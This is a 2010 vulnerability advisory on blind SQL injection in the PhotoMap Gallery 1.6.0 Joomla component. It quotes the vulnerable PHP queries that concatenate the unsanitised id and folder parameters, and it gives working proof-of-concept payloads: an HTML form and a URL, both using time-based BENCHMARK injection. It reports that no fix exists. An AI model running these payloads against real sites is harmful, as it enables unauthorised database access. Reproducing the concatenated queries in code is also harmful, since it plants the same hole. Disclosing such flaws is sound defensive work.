PhotoMap Gallery 1.6.0 Joomla Component Multiple Blind SQL Injection

 Name              PhotoMap Gallery
 Vendor            http://extensions.joomla.org/extensions/photos-a-images/photo-gallery/10658
 Versions Affected 1.6.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-28

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

PhotoMap Gallery  is  a   gallery  component  completely
integrated  into  Joomla 1.5.x. Like 'Picasa', 'Flickr',
or 'Panoramio',  you  can  easily  add geo-tags  to your
photos  so  that  you can remember exactly where they're
from using Google Maps.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary: 

A) Multiple Blind SQL Injection
_______________________________

The parameter id passed to controller.php  via POST when
view is set to user and task is set to save_usercategory
is  not  properly sanitised  before being  used in a SQL
query. This  can  be exploited to manipulate SQL queries
by injecting arbitrary SQL code.

The parameter folder passed to  imagehandler.php  is not
properly sanitised before used in a SQL query.  This can
be  exploited  to  manipulate  SQL  queries by injecting
arbitrary SQL code.

The following is the affected code.

controller.php (line 1135):

function save_usercategory() {

    // Check for request forgeries
	JRequest::checkToken() or jexit( 'Invalid Token' );
		
	$user			= & JFactory::getUser();
	$task			= JRequest::getVar('task');
	$post 			= JRequest::get('post');

	//perform access checks
	$isNew = ($post['id']) ? false : true;

//	$catid = (int) JRequest::getVar('catid', 0);
		
	$db 	=& JFactory::getDBO();
	$query = 'SELECT c.id, c.directory'
				. ' FROM #__g_categories AS c'
				. ' WHERE c.id = '.$post['id'];


imagehandler.php (line 109);

function getList() {

	static $list;

	// Only process the list once per request
	if (is_array($list)) {
		return $list;
	}

	// Get folder from request
	$folder = $this->getState('folder');
	$search = $this->getState('search');

	$query = 'SELECT *'
			. ' FROM #__g_categories'
			. ' WHERE id = '.$folder;



IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

Replace 89eb36eca1919aff534b13b54796c9a4 with your own.

<html>
	<head>
	    <title>PoC - PhotoMap Gallery 1.6.0 Blind SQL Injection</title>
	</head>
	<body>
	    <form method="POST" action="http://127.0.0.1/joomla/index.php">
	        <input type="hidden" name="89eb36eca1919aff534b13b54796c9a4" value="1">
			<input type="hidden" name="option" value="com_photomapgallery">
			<input type="hidden" name="controller" value="">
			<input type="hidden" name="view" value="user">
		    <input type="hidden" name="task" value="save_usercategory">
		    <input type="hidden" name="id" value="-1 AND (SELECT(IF(0x41=0x41, BENCHMARK(99999999999,NULL),NULL)))">
		    <input type="submit">
	    </form>
	</body>
</html>


http://site/path/index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))


V. FIX
______

No fix.